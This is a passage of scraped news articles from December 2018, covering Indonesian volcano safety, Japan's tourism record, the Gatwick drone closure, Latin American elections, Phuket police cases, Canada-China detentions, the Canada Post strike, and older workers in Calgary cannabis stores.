Kristianto. Furthermore, local residents were encouraged to heed warning signs that had been installed and study the evacuation routes. Pay attention to the weather. Its not recommended to visit a volcanic area when theres no sun, he said, referring to smoke emitting from Dieng that could accumulate and endanger visitors. The warning also applies to Mount Salak. In 2007, six people died after inhaling a concentration of carbon monoxide and carbon dioxide at the crater, he said. (jes/kes) Share this article Whatsapp Facebook Twitter Linkedin News Desk (Reuters) London Fri, December 21, 2018 06:00 1077 75e76da2d15e495661b6357e2e34d81d 2 News circus,London,Circus-1903 Free A roll-call of acrobats, contortionists, jugglers and trapeze artistes will be captivating London audiences this Christmas season in a show that celebrates the golden age of circus acts. But some of the performers at the heart of Circus 1903 will be largely hidden from view, inside the life-size - and eerily lifelike - puppet elephants that give the spectacle a decidedly 21st-century twist. I think were taking ... an old-fashioned circus and (giving it) ... a modern take. And with that comes the magic of puppetry, puppeteer Luke Chadwick-Jones told Reuters. Inside I have really impaired vision because of the way that the suit is designed, but I can see just about enough to manoeuvre and not bump into anything. Read also: Oriental Circus Indonesia marks new era with no animals For puppetry director Mervyn Millar, replicating on a far larger scale the animatronics he mastered as part of the original creative team on the National Theatres ground-breaking drama War Horse was a major challenge. Were working with aluminium as a kind of base skeleton and then on top of that there are shells which are made out of types of thermoplastic mesh that weve had to make from scratch really ..., he said. So it was a long process. As attitudes towards animals in captivity have changed over the past 20 years, the use of wild animals in British circuses has declined dramatically, with just two shows featuring them by 2017, according to data from animal rights group Born Free. That Circus 1903, marking its European premiere with a three-week Festival Hall run that starts on Wednesday, still manages to give such a clear nod to a time when no big top was complete without its own menagerie lends the show an added poignancy. It allows you that reflection back on how things were in 1903 but without the need for animals, said British Veterinary Association President Simon Doherty. I think its really clever. Share this article Whatsapp Facebook Twitter Linkedin News Desk (Kyodo News) Tokyo and Osaka, Japan Thu, December 20, 2018 22:02 1078 75e76da2d15e495661b6357e2e347ca2 2 News Japan,tourism,travel,Tourist,foreign-tourists Free The number of foreign visitors to Japan in 2018 topped 30 million on Tuesday, marking an all-time record on an annual basis, as the country attracted a high proportion of travelers from its Asian neighbors, the Japan Tourism Agency said. The figure, eclipsing the previous record of 28.69 million set in 2017, is expected to reach around 31 million by the end of this year, although the pace of increase slowed after a number of natural disasters, including earthquakes and torrential rains, hit the country this summer, agency officials said. With a 30 millionth visitor expected Tuesday, a ceremony was held at Kansai International Airport in Osaka, the main international air gateway to the western Japan region. Land, Infrastructure, Transport and Tourism Minister Keiichi Ishii said the natural disasters caused a temporary decline in foreign visitors, but "overseas promotion paid off." Japan is aiming to attract 40 million travelers in 2020 when Tokyo hosts the Olympic and Paralympic Games. To meet the target, the government has eased visa rules, expanded airports for budget airlines and promoted private lodging services to address a shortage of accommodation for tourists. It is also stepping up efforts to create systems designed to send out more multi-language information at airports and train stations when disasters strike. "Our goal of 40 million visitors in 2020 is now within our reach," Chief Cabinet Secretary Yoshihide Suga said at a press conference. Japan first received more than 10 million foreign visitors in 2013. The number exceeded 20 million for the first time in 2016. Read also: Japan to offer e-visa to tourists starting April 2020 Asian tourists, particularly from China, South Korea, Taiwan and Hong Kong, again contributed to this year's increase, with the number of visitors in the first half already reaching about 15.89 million, up 15.6 percent from a year earlier, government data showed. In September, however, the number on a monthly basis dropped 5.3 percent from a year earlier, recording the first contraction since 2013. The fall was blamed on the magnitude 6.7 earthquake that rocked Japan's northernmost main island Hokkaido on Sept. 6, killing more than 40 people. Also in September, a typhoon forced the temporary closure of Kansai International Airport. Visitors began to increase again in October. Many foreign visitors who were affected by natural disasters, including flooding triggered by heavy rains in July and a powerful quake that struck northern Osaka Prefecture in June, have said Japan should provide more information in different languages, particularly concerning transport, in times of emergency. Share this article Whatsapp Facebook Twitter Linkedin Justin Bachman and Kyunghee Park (Bloomberg) Thu, December 20, 2018 12:05 1078 75e76da2d15e495661b6357e2e32d65e 2 News gatwick-airport,Airport,drone,London,United-Kingdom Free Londons Gatwick airport shut down operations Wednesday night after reports of two drones flying over the airfield, a modern-day menace that the aviation industry is struggling to manage. The airport and local police are investigating the incident, Gatwick said in a statement on its twitter account. The closure led to the diversion of more than two dozen incoming flights, according to flight-tracking service Flightradar24. Unmanned aerial vehicles and laser pointers are increasingly becoming a safety threat for aircraft, prompting regulators to come up with new rules against operating the devices near airfields. Earlier this year, airspace around Wellington, New Zealand, was closed for 30 minutes after a drone was spotted flying extremely close to the runway. In 2016, Dubai International Airport was closed temporarily. Different birds In the past, trying to skirt around birds was hard enough and now youve got a different kind of bird made out of metal or plastic, said Mohshin Aziz, an aviation analyst at Maybank Investment Bank Bhd. in Kuala Lumpur. A drone strike is far, far more damaging than a bird strike. Read also: Hello convenience, goodbye lines: The future of flying almost lands in Asia Gatwick is allowed to operate a limited number of services at night, according to its website. On average, the airfield has 45 to 50 flights a night in the summer and 18 to 20 in the winter, it said. London is served by about half a dozen airports. Last week, Grupo Aeromexico SAB said its investigating whether a drone slammed into a Boeing Co. 737 aircraft as the plane approached Tijuana, Mexico. The jet sustained damage to its nose but landed safely. While most nations prohibit drones flying in pathways reserved for airliners, the millions of small consumer devices that have been purchased around the world cant be tracked on radar. That makes it difficult for authorities to enforce the rules. In addition, many users dont know the restrictions -- or dont follow them. Share this article Whatsapp Facebook Twitter Linkedin News Desk (The Jakarta Post) Jakarta Thu, December 20, 2018 15:30 1078 75e76da2d15e495661b6357e2e33cf79 4 News Instagrammable,Instagram,travel,travelers,tourism,Hotel,Accommodation,traveloka Free Instagrammable is predicted to be the new criteria in choosing accommodations, according to online travel agency Travelokas marketing vice president, Kurnia Rosyada. The criteria will be additional consideration for travelers after comfort and location, Antara reported. Instagrammable spots will be popular travel destinations, said Kurnia at a press conference in Jakarta on Tuesday. Travelokas user data show that social media often serves as travel inspiration for Indonesians. Read also: Four Instagram-worthy places in Indonesia to check out in 2018 The data also reveal that four out of five Traveloka users buy their transportation tickets before deciding on accommodations, which is often done two to three weeks prior to their departure. Indonesian travelers are also said to often visit culinary spots, theme parks, historical places, ecotourism destinations and shopping areas during their trips. (iru/kes) Manuel Lopez Obrador, Mexicos new president Mexico, Brazil, Colombia. All huge Latin American powers, except Argentina, replaced their presidents in 2018. A year characterised by the shift towards rightist policies of a great part of the markets and by the rise of populist leaders in countries like Brazil. The intense electoral timetable of Latin America started the 4th of February, when Costa Rica went to the polls to choose its new president. Carlos Alvarado Quesada assumed the presidency of Costa Rica in a situation of fiscal deficit growth and a rise of criminality. All in all, the country still has one of the best predictions of growth in the region, with an estimated rise of 3.5% for 2018, according to the International Monetary Fund (IMF). Cuba was the one to follow with historical elections. The Caribbean country faced its first post-Castro elections in which, as predicted, Miguel Diaz-Canel was elected as president. It is the first time ever since the countrys revolution that the person leading the country is not a member of the Castro family. Paraguay was the third Latin American country to host presidential elections in 2018. Mario Abdo Benitezs narrow victory entailed the comeback of conservative party Partido Colorado into the Guarani leadership. During the first half of the year, Venezuela also went to the polls. It was an electoral process characterised by fraud accusations in a situation of economic collapse and escalation of violence. Nicolas Maduro was elected president again with 5.8 million votes, in a polling day marked by a high degree of absenteeism: of the twenty million people called in to vote, only eight attended. The IMF disclosed in October one of the worst projections for economy in Venezuela, with a drop of its GDP of 18% in 2018. South Americas textile hub shifts towards the right May was the time for the most polarised polling of the year. With a latent Peace Agreement, Colombia faced a new electoral event which appointed Ivan Duque as its winner in the second round after eight years of Juan Manuel Santos mandate. The rise to power of Alvaro Uribes dolphin entailed the first rightist shift in the Latin American region during 2018. Duque inherited a country whose growth stood at 1.8% in 2017, its lowest figure in seven years. The IMF forecasts a rise of 2.8% for the Colombian economy in 2018 and of 3.6% for 2019. During his first months in la Casa de Narino, the Colombian presidents popularity dropped by 27.2%, weighed down by measures such as an increase of VAT to basic goods. Fashion, for its part, continues to fight its own model in the country after the continuous fall of consumption in 2017 and 2018, which entailed the retreat of international giants such as Nike or Forever21. Local players like Fabricato o Coltejer, on the other hand, continue to suffer in its accounts the downfall of the Colombian fashion market, and some have even started to go the streets in order to ask for protectionist measures in order to strengthen local production. Second half, a test for the forces After the Colombian elections, came Mexico and Brazils turn. The two greatest economic powers in Latin America changed their presidents during the second half of the year. Brazils elections were one of the most complex ones of the year, as the countrys favourite candidate, Lula da Silva, could not go to the polls as he was still imprisoned. The result meant a U-turn for the countrys political history. The triumph of Jair Bolsonaro in the second round celebrated during October confirmed the arrival of rightist populism and protectionism into Latin America. Following Donald Trumps path, Bolsonaro has based his political campaign in an extreme-right, xenophobic and protectionist speech, claiming even that Mercosur is not one of Brazils priorities. The shift went the other way around for Mexico, where for the first time, a leftist president has been elected. After six years of being governed by Enrique Pena Nieto, the North American country chose Manuel Lopez Obrador as new president with a historical record of votes. Lopez Obrador put therefore an end to three decades of leadership constituted by the partnership between Partido Accion Nacional (PAN) and Partido Revolucionario Institucional (PRI). The countrys perspectives are set on registering growths of 2.2% in 2018 and 2.5% in 2019, ahead of the 2% rise with which it ended 2017. The politician, who assumed the leadership the 1st of December, has already started to set in motion his package of economic measures with announcements such as the 16% rise of the minimum wage which can go even up to 50% around the region of the frontier with the United States. More uncertainty in the region Latin America will keep up its frenzied rate regarding elections in fiscal 2019. Uruguay, Bolivia and Argentina will be some of the regions countries to renew their presidencies throughout the year. Uruguay will attend the polls in October to find a successor for the leftist Tabare Vazquez, from Frente Amplio, who has been in charge since 2015. Argentina, one of the regions economic powers, is facing another essential electoral process after a 2018 of severe crisis and new debts with the IMF. The entity estimates a drop of 1.6% in the Argentinean economy during 2019, where the next candidates for the presidency are still unknown, as well as whether the current mandatary, Mauricio Macri, will try to repeat his tenure. Evo Morales, for his part, will be presented in Bolivias reelection next year, which will entail a litmus test after the decrease of popularity he has experienced in recent years. A change of skin for NAFTA The worst trade deal in the history of trade deals as defined by Donald Trump, The North American Free Trade Agreement (NAFTA) is updated. When it seemed that the United States president would comply with his campaign promises and break the trade deal it had with Mexico and Canada, the North American giant has alternatively given his approval to a renewed treaty between the countries. After a year of negotiations, Canada, the United States and Mexico reached an agreement in December and signed, under the frame of the G-20 meeting in Buenos Aire (Argentina) the new NAFTA. The agreement, called UMSA in the United States and CUSMA in Canada, barely presents any changes for the fashion industry, which has been holding its breath ever since the first threats of the United States president left his mouth. The United States is the first destiny for Mexican fashion exports, entailing about 94.5% of the sectors sales abroad. Every year, the exchange of sales between Mexico and the United States produce 502.01 billion euros on average. The new NAFTA does not include the worst prognostics of fashion and it barely presents any changes in sectors such as dairy and automobiles After taking a first look at the document, the United States intended to erase the possibility of using raw materials from outside Canada or Mexico for clothing items so that he could erase tariff rates and thus limit the access of Chinese products into the United States. Another of the concerns surrounded the share of TPLs, which regulate how many metres of fabric from countries outside the UMSA can be used so that the product will continue to be considered originally from the country. Finally, the worst predictions of the sector did not end up included in its last draft, which entails almost no changes for fashion in base to the previous one. In fact, the main differences between both agreements affect mainly dairy and automobiles. Furthermore, the new agreement, which expires in sixteen years, includes, too, a clause by which it will be revisited and reconsidered every six years, although that would not entail an automatic expiry of the agreement as the United States initially proposed. Subaru Australia has confirmed that the brand-new BRZ rear-wheel-drive coupe will go on sale in Australia, and it will be here around the middle of next year. Many have been holding onto hope of a local launch since the BRZ's existence was first rumoured a few years ago, but few would have expected the brand's Australian arm to ease up on its all-wheel-drive-only position. "We have been an exclusively all-wheel-drive car company since 1997, so the decision to import the Subaru BRZ was not taken lightly," Subaru Australia boss Nick Senior said. He said that "several factors" had swayed the decision on the 147kW coupe, pointing to the passion and persuasion efforts of the brand's top brass. Unlike Australia, the Japanese market offers a number of front-wheel-drive models, with the all-wheel-drive-only angle (and the "All 4 The Driver" slogan) being more of a Western-market philosophy for the brand. They have poured their DNA into this car, so it drives like a Subaru. And because it is built in our spiritual home in Gunma prefecture, it has to be a Subaru. Its a drivers car, so is in keeping with our fun to drive philosophy," Mr Senior said. Secondly, the testing and development we have undertaken for the Australian market has left me in no doubt that this is a Subaru specifically for our unique Australian conditions." Thirdly, we have been overwhelmed by the response to the BRZ since its unveiling in Tokyo. People have been pleading for us to bring the BRZ into the country." Mr Senior said that Australian dealers have been "astonished at the level of interest," and one dealer has already taken an order in Adelaide, despite the absence of local picing or specification details. Speaking with TMR today, Subaru Australia's David Rowley said that the company's local management doesn't expect any image issues by introducing a rear-wheel-drive model into its previously all-wheel-drive-focused line-up. "There won't be any change there. The "All 4 The Driver" slogan is more about communicating our commitment to the driver and the driving experience, and the majority of our cars are still all-wheel-drive," Mr Rowley said. In Australia, the BRZ will face off against its co-developed Toyota twin, the 86 coupe. Both will arrive around the middle of next year, but pricing and local specifications for either model have yet to be revealed. The arrival of the BRZ is expected to have minimal impact on WRX sales, despite the fact that there is no new model expected for some time. "No, they're very different cars, and the fact that the WRX is a turbo-charged, all-wheel-drive four-door sedan means it has a very different buyer to those who'll be looking at the BRZ," Mr Rowley said. Whether the BRZ's price will sway dedicated fans of the $39,990 WRX to the rear-wheel-drive world remains to be seen, although the difference is unlikely to be more than a few thousand dollars. As for the reported plans of a turbocharged BRZ in the future, he added, "I've seen the reports, but we haven't heard anything that suggests a turbo will appear in the BRZ." Curses. Watch for pricing and specifications to be revealed closer to the BRZ's mid-2012 launch. 500-strong Say No to Drugs campaign hits Patongs Bangla Rd PHUKET: About 500 police officers, Navy personnel, government officials and volunteers took to Bangla Rd in the heart of Patong yesterday evening (Dec 19) as a part of the countrys campaign to against drug use. drugspatongpolicemilitary By Tanyaluk Sakoot Thursday 20 December 2018, 05:42PM The contingent assembled in front of the Police Box on Patong Beach, at the western end of Bangla Rd, to receive their orders from Region 8 Police Commander Lt Gen Pongwut Pongsri to ramp up their efforts in the fight against drugs during the upcoming New Year holidays. Joining Gen Pngwut in leading the troops was Rear Admiral Pichit Wadvaree, Deputy Commander of Royal Thai Navy Third Area Command, based at Capre Panwa, on Phukets east coast. Also present were officers from the Region 8 Police, Tourist Police, Patong Police, Royal Thai Navy personnel, who after the assembly walked along Bangla Rd, handing out anti-drugs pamphlets to tourists and local staff. This is part of a national effort for all people to unite with police in the fight against drugs, Patong Police Chief Col Anotai Jindamanee told The Phuket News today (Dec 20). We have to report the results of all our anti-drugs operations to Bangkok every three months, he said. In Patong in Novemeber alone we arrested 90 drug suspects, and we have arrested another 40 drug suspects already this month, Col Anotai explained. Not all of them were drug dealers, but they were all users. We need to work with local people to fight the spread of drug use. We need them to support us and we need them to be our sources, he said. If you have any information regarding illegal drug use, people can report it to me directly by calling 086-9668996, Col Anotai added. Police investigate ramping up charge against Chinese husband for killing wife to murder PHUKET: Kamala Police today confirmed that they are looking into ramping up the charge against Chinese national Zhang Yifan, 31, to murder, for the death of his wife 29-year-old Zhang Jia, who died after he held her head underwater in a resort pool allegedly amid a heated argument. tourismmurderChinesepolice By The Phuket News Thursday 20 December 2018, 04:22PM After Zhang Yifans arrest in Phuket, the parents of his wife went public through a report in a newspaper in China to reveal that Zhang Yifan had taken out life insurance policies for his wifes death amounting to more than B142 million baht in compensation. Photos: via The Paper The confirmation follows the lawyer representing the victims parents visiting Kamala Police on Monday (Dec 17). The lawyer presented to police copies of the insurance policies and other documents, which police said they were not at liberty to discuss at this time. After Zhang Yifans arrest in Phuket, the parents of his wife went public through a report in a newspaper in China (see here) to reveal that Zhang Yifan had taken out life insurance policies for his wifes death amounting to more than B142 million baht in compensation. The lawyer visited me at Kamala Police Station on Monday, and presented some important documents related to the insurance and other matters, Kamala Police Chief Col Somkid Boonrat confirmed to The Phuket News today (Dec 20). The lawyer was to also present copies of the same policies to the Phuket Public Prosecutor's Office on Monday, he added. Zhang Jias parents will come to Kamala Police Station with extra information next week, which may affect the charge against Zhang, he said. At present, Zhang Yifan 31, from Tianjin, is charged with murder* (sic) for the offence of causing death under Section 288 of the Criminal Code, Col Somkid confirmed. If we discover more evidence that presents that Zhang Yifan planned to kill his wife, then we will change the charge to Section 289 of the Criminal Code, which is murder by premeditation*, Capt Somkid explained. Col Somkid declined to reveal any details of the documents already presented to police. Sorry, we are not able to reveal that. It is important for the investigation, he said. Meanwhile, Zhang Yifan remains incarcerated at Phuket Provincial Prison, Col Somkid confirmed. His trial has not actually started. He is being held there on remand, Col Somkid clarified. Police originally questioned Zhang Yifan on Oct 29 while investigating Zhang Jias death. The officers were responding to a report that his wife had drowned in the hotel pool and was later pronounced dead at Patong Hospital. Zhang was allowed to leave Thailand on Oct 30 in order to take the couples 20-month-old daughter home, and returned to Phuket to collect his wifes body. Kamala Police suspicious of the circumstances of Zhang Jias death brought him back in questioning on Nov 2. That was when Zhang confessed to the killing. He was subsequently taken into custody and charged for her death. (See story here.) * Section 288 of the Thai Criminal Code is often presented in translated versions as: Whoever, murdering the other person, shall be punished by death or imprisoned as from fifteen years to twenty years. However, Section 289 (4) is also often presented as: Whoever commits murder on: The other person by premeditation. Hence Section 288 is often understood as a charge of murder without premeditation, which represents the Thai version of manslaughter. Mother, daughter looking to grow support for sled hockey in Watertown Watertown resident Meghan Brink wants to show young athletes in the area that hockey is not just for those who can stand on skates. Canada was in discussions with China over the return of a third Canadian national detained in recent days, the National Post reported, a move that could ease one source of tension in the diplomatic feud between the two nations. The third Canadian has been identified as Sarah McIver from Alberta and was believed to have been arrested over visa issues related to her teaching in China, the newspaper reported late Wednesday, citing multiple sources it didnt identify. Arrangements were being made for her return, the paper said, noting that diplomatic officials say the case remains unresolved. Chinese Foreign Ministry spokeswoman Hua Chunying said Thursday in Beijing that the third Canadian had been detained over illegal work. She noted that the case was being handled by public security authorities rather than the national security involved in cases against the other two Canadians. China will provide co-operation and assistance for the Canadian side to conduct consular activities, Hua said. Consular officials are providing assistance to the family, Maegan Graveline, a spokeswoman for Global Affairs Canada, said earlier Wednesday, referring to the latest case. Due to the provisions under the Privacy Act, no further information can be disclosed. Canadian Prime Minister Justin Trudeau also played down links between the third case and those of two Canadians detained by Chinas spy agency on Dec. 10, saying it didnt fit the same pattern. Read more: Third Canadian citizen detained in China, government says Canadas Huawei arrest lending support to rogue U.S. behaviour Bombardier says business jets resistant to diplomatic skirmishes with China, Saudi The developments suggest that Chinese and Canadian officials are looking to contain a diplomatic dispute the erupted after Huawei Technologies Co. executive Meng Wanzhous arrest in Vancouver as part of a U.S.-led extradition effort. Chinas subsequent detention of former diplomat Michael Kovrig and North Korea fixer Michael Spavor as part of national security investigations prompted fears of reprisal by Beijing. Meng is free on bail awaiting her next hearing. Kovrig and Spavor remain in custody, and its unclear what specific allegations theyre being investigated for and whether they face charges. The National Post reported that McIver had previously taught in South Korea and Malaysia. She travelled to China to teach earlier this year, but discovered the post was filled and was transferred to another city. Read more about: BlackBerry Ltd. reported quarterly sales that beat analysts forecasts, extending a run of positive surprises on that metric to six quarters and signaling its reinvention as a software company is taking hold. The company swung to a profit of $59 million (U.S.) in the quarter ended Nov. 30 from a loss of $275 million a year earlier. On an adjusted basis, the company said it earned 5 cents a share, beating the average analyst estimate of 2 cents. Adjusted revenue in the third quarter was $228 million, compared with the average analyst projection of $215.7 million. Key Insights Enterprise software and services revenue, a key growth metric, was $98 million in the third quarter on an adjusted basis, according to a statement Thursday, down 7.5 percent from a year earlier. The company previously said it expects software revenue to underperform through fiscal 2019 due to a change in accounting standards. BlackBerry has pivoted away from making phones in recent years, reinventing itself as a security software provider under Chief Executive Officer John Chen. The company offers a range of different product lines, such as systems to manage an entire stable of mobile phones, or to let cars securely update their entertainment systems. The company reaffirmed its outlook for 2019. It expects total software and services revenue growth of between 8 percent and 10 percent and positive adjusted earnings per share. The Waterloo, Ontario-based company is also looking to push into health care, Chen said earlier this year.Market Reaction The shares jumped 4.9 percent in New York to $7.71. BlackBerry is down 34 percent this year through Wednesdays close. Know More BlackBerry announced last month that its acquiring cybersecurity company Cylance Inc. for $1.4 billion, to add artificial intelligence capabilities to its existing software products. The deal is on track to close in February, although Chen said his discussions with customers have been limited since the company only received HSR antitrust clearance about a week ago. Nobody has said I dont understand what this is, can you explain more to me? They all understood what it is, Chen said. Theyre more interested in okay, so how do you integrate it, where will you integrate it, when will we see it? Read more about: HALIFAXLiberal MP Andy Fillmore told a group of Canada Post workers and their supporters that he had weighed the right to strike versus working conditions on a teeter-totter before supporting the Liberal governments back-to-work bill. About 30 people, including Canadian Union of Postal Workers (CUPW) members, members of other unions and labour activists, gathered outside Fillmores Brunswick St. office in Halifax on Wednesday afternoon with signs and drumming. The group then went up to his office to protest the controversial Bill C-89, or An Act to provide for the resumption and continuation of postal services, which became law at the end of November. You cannot get involved in the collective bargaining process and call yourself a progressive government, not in Canada, Mark Rogers, regional representative with the Public Service Alliance of Canada (PSAC), said to Fillmore amid a dozen people crowding into the office. Rogers said they had asked Fillmores staff whether they could speak with the Halifax MP when they arrived for the protest Wednesday afternoon, and he soon came to hear their concerns in his office for just over a half-hour. The Liberal bill put an end to the rotating strikes being taken by CUPW members across Canada. The strikes concerned matters such as safety and pay equity, which many people brought up to Fillmore on Wednesday, saying those issues have not been resolved under the legislation. Canada Post had argued the rolling strikes were causing massive backlogs of unsorted mail and packages at postal depots, but on Tuesday The Canadian Press reported that the Crown corporation said it was caught up on most delivery backlogs and normal holiday delivery service guarantees were restored across most of the country. Read more: Post office restores normal delivery times as mediated talks fail Protesters hold brief blockade at entrance of Canada Post facility in Halifax Opinion | Heather Mallick: Why Canada Post doesnt deliver for Canadians Courts around Canada, including in Halifax, have granted Canada Post injunctions that would prevent any further picketing at sorting stations. That move followed a protest two weeks ago by labour activists at the Canada Post facility on Almon St., where six people were arrested and later charged with mischief and obstructing a peace officer. Many protesters told Fillmore that the Liberal legislation violated their Charter rights by taking away their ability to strike. You take away the leverage that workers have, how can you honestly argue that youre respecting Charter rights? Morgan Wheeldon, a shop steward with the Canada Employment and Immigration Union (CEIU), told Fillmore. Canada Post has no reason to bargain with them. Honestly, do you really think this is going to stand up in the Supreme Court? Id bet a lot of money no. In 2016, CUPW won a legal challenge against back-to-work legislation that had been enacted by the former Conservative government under Stephen Harper. Although Fillmore contended that Bill C-89 was very different from 2011s Bill C-6, which was struck down, CUPW member Jim Gallant interrupted to say it still gave the arbitrator a final offer selection or winner takes all approach that would allow them to select either the final offer of the employer or the final offer of the union if an agreement couldnt be reached. Gallant said thats one of the grounds on which the 2011 bill was found unconstitutional, but Fillmore said he still disagreed with that characterization of the Liberal legislation. This isnt Question Period; this is your constituents asking you questions, Gallant said, referencing the Section 11 phrase where the point is found. Did you read the bill? Id have to look at it again, Fillmore said. You dont remember that theres final-offer selection in it, and you voted for it. Shame on you How dare you call it Harpers law when its your law now, Gallant said. In response to the protesters concerns, Fillmore said he supported the bill in Ottawa after seeing that CUPW and Canada Post couldnt come to an agreement throughout a year. He said he thought that federal legislation would be the best way to ensure real complaints like pay equity and job safety were addressed and not dragged out. Fillmore said hed also heard from great numbers of small-business owners who felt their Christmas sales were being impacted by the workers strikes as well as some postal workers who wanted to get back to work and agreed legislation was the best way to do that. The two themes that emerge every time I have a conversation like this with CUPW employees and members is the theme of the right to strike. And then the other theme that emerges is the working conditions, Fillmore said. Im trying to figure out if those are on a teeter-totter, which ones more important? Fillmore reiterated that he feels the very issues protesters were seeking to address, like fair pay and safety, were not getting addressed under CUPWs yearlong negotiation. To that, one protester said that since the government weighed in with this legislation, they could similarly go to Canada Post and pressure them to bargain in good faith at the table to improve working conditions. By the end of the back-and-forth with the group, Fillmore said there is always an open invitation for citizens to offer their perspectives and any legal or labour expertise they can provide. One person said they would take him up on that by giving him a labour studies 101 course. I think he got our message, if nothing else, Rogers said after the protest. But he did trample rights, and thats what people are not happy with. Read more about: A young Canadian convicted of plotting terrorist attacks in New York City was sentenced by an American court on Wednesday to 40 years in prison, his Canadian lawyer said. The sentence handed down to Abdulrahman El Bahnasawy, 20, came despite defence pleas that the accused was severely mentally ill, had a drug addiction, and was the victim of entrapment. He got 40 years, lawyer Dennis Edney told The Canadian Press in an interview. Even although we had spent a great deal of time establishing his mental illnesses, his bipolar history, that he suffers psychotic episodes, that hes addicted to drugs since the age of 14 and failed numerous rehab clinics. Edney said U.S. District Judge Richard Berman recognized the accuseds mental illness and acknowledged El Bahnasawy had tried to kill himself in prison several times. He felt clearly that 40 years was doing him a favour because the FBI wanted life and he mentioned that a number of times. Documents filed with the court in the Southern District of New York show El Bahnasawy was just 17 and living at home in Mississauga, Ont, when he met an undercover FBI agent online. Read more: Family of Mississauga teen in NYC terror plot says FBI operated overzealous sting operation Mississauga teen who admitted to NYC terror plot asks for second chance Authorities tried to keep Mississauga teens terror arrest secret, court documents reveal The defence argued that the agent encouraged him to plan attacks in the Big Apple. Prosecutors maintained the plot was well underway before the two connected. The plans, which involved conspirators arrested in Pakistan and the Philippines, called for attacks on the New York subway and Times Square. The FBI, with RCMP help, arrested the then-18-year-old El Bahnasawy at a hotel on the outskirts of New York in May 2016. Investigators said he had bought bomb-making materials and helped secure a cabin within driving distance of the city for the purpose of building explosive devices. El Bahnasawy later pleaded guilty to terrorism charges in 2016. In the letter filed with the court in March, El Bahnasawy explained that American airstrikes against the Middle East had motivated him. Americans were trying to disrupt the lives of people in the Middle East with airstrikes and it was appropriate to use similar methods back until and unless they stop, he said. There are many issues in this world but I dont want to lose my life or freedom to try fixing them, and I definitely do not want to resort to violence or harm to fix them, El Bahnasawy wrote. I sincerely apologize for my (behaviour) and I only ask for a second chance. Edney said it was clear over the days of sentencing that the FBI were aware of El Bahnasawys mental-health problems from the RCMP, who had obtained his medical records. He also said an entrapment defence had failed in every terrorism trial in the United States over the past dozen years despite clear government overreach highlights. The undercover agent, who had dealt with this damaged boy, had his medical records from the RCMP, Edney said. In a recent presentencing submission, his parents Khdiga Metwally and Osama Elbahnasawy pleaded for understanding, saying their son had struggled with mental illness and addiction for years. Abdulrahman is an exceptionally bright boy suffering from bipolar, a condition he was ascribed at birth and which he has no choice over, they wrote the judge. We can either be the hand that strikes him down even further and punishes him for something which he cannot control, or the hand that leads him out of the darkness. The hope now is to have El Bahnasawy transferred to Canada under an international treaty to serve out his sentence. Read more about: CALGARYThe weed Janice Clark bought in Nova Scotia 50 years ago came in a nondescript bag, cost $25, and occasionally included the odd dandelion back then, the young pharmacy technician would shell out for whatever was in stock. Nowadays, the cheerful 67-year-old wakes up early hours before her weekly shift to sell weed behind the glass counters of Beltline Cannabis Calgary. Despite retiring five years ago, she recently gave up days at home to go back to work, selling the legal version of those long ago bags. After a month and a half as a part-time budtender, she knows all about the independent stores various indicas, sativas, and hybrids. Still, her first day on the job roughly a week after legalization was unique, to say the least. It was strange, she said. It was a little different. That its legal is insane. Whod ever thought in my lifetime that this would become legal? Although the stereotype of a cannabis store employee tends to be similar to that of stoners slackers in their 20s a number of older adults are finding their way into cannabis mid-career (or even post-retirement) as the industry expands. At Beltline Cannabis Calgary, for instance, roughly 40 per cent of the stores 16 staff are 50 or older, according to Karen Barry, the stores owner. Many of them bring a unique perspective and skill set to the industry, given that cannabis has been illegal for much of their working lives. But theyre also helping introduce an older generation to weed. Read more: Information key for older Calgarians uncertain about cannabis Here are the 17 cannabis retailers in Alberta that will have licences on legalization day They invested $200,000 before cannabis was legal. Now, these retailers are stuck in limbo as Albertas supply runs out Mingling with customers, understanding the various strains, and joking around with co-workers keeps Clark busy and engaged. It also means the multitude of older customers who step through Beltlines door, sometimes tentatively, have someone of their generation who they can go to and whisper excitedly that they havent smoked a joint in 15 years and theyre so excited to buy. This is fun, Clark said. I call this fun. Clark and her husband are longtime friends of Barry and Beltline managing director Peter Boyne. The two had Boyne over for dinner around six month ago, where he brought up their plans to start up a weed store. Shortly after, she got a call from Barry asking if she wanted a job. Clark said yes so long as she could head to her cottage on the weekends. Her 33- and 29-year-old sons tell everyone, Mom works at that new weed store, she laughs. Im sure that my father would be rolling over in his grave if he knew that I was working in a cannabis store, she said. For others, recent memories of the illicit cannabis trades riskier elements is exactly what prompted them to seek jobs in the industry. Esther Diaz, a 58-year-old assistant store manager at NewLeaf Cannabis, once taught business forecasting at Mexicos equivalent of a technical college. Cannabis is still illegal there (for the time being) and the various drug cartels that control Mexicos drug trade arent known for selling the safest bud. Diaz recalled that many of her students were buying weed laced with heavy metals as filler. When you dont have control over the quality of this kind of thing, it can be really, really dangerous for people, she said. I saw some of my students almost die because of all the chemicals and all the things they put in there. Diaz said she practised her own form of harm reduction, despite being forbidden from discussing cannabis with her students. Shed tell them to always have a friend to call, and, if possible, to know where their weed was coming from. After six years in Canada, and a job managing food demonstrations at Costco, she asked if there were any opportunities in Canadas nascent cannabis industry and was in luck. As the sector beings to take off, other cannabis store employees made the jump from service or hospitality work. Despite being mid-career, Grant Sanderson made the transition after 27 years in the hospitality industry in Edmonton, where he worked in senior management for major restaurants and most recently as director of the Century Hospitality Group. Now, the 42-year-old is regional manager of operations for Nova Cannabis. I think all the cliches apply. It was exciting, it was groundbreaking, its a new industry, kind of a ground-floor opportunity for me, Sanderson said. Ive always had a passion for cannabis and what it can do for people. Sanderson was responsible for recruiting Novas staff and management teams across the province, and creating training programs in the lead up to legalization. He described the process as a fun chess game of interviews, saying his time with Nova has been a unique experience. What I like most about it is the learning curve, he said. It literally changes every day and you have to be able to pivot and react with the industry and the demands from the regulator and the customer, and really identify those customers needs. Theyre already starting to shift a little bit. So its an exciting time, for sure, to be part of this industry. Despite having never tried weed although her co-workers are trying to get her on board Diaz can recite the attributes of every strain on display at NewLeafs Macleod Tr. store in Calgary. She also helps manage the stores 15 employees, alongside the manager, and handles the daily financial reports to head office. As much as Diaz enjoys working at the store, the educational side as a former instructor is hugely important to her. Deciding on whether to use weed or not is no different from determining whether its worthwhile to open a business. Both depend on reliable information. I need to be there to help people know the product to know the effects and make the best decision that they can, she said. Because I saw the other part of it, and its not a good part. With files from Kevin Maimann Read more about: Toronto police have identified the victim of an overnight shooting in the downtown core this week. Edwin (Chris) Humberto Velasquez, 34, of Toronto, was walking with a group of people when a suspect approached and shot him multiple times just after midnight Wednesday outside a restaurant near King St. W. and 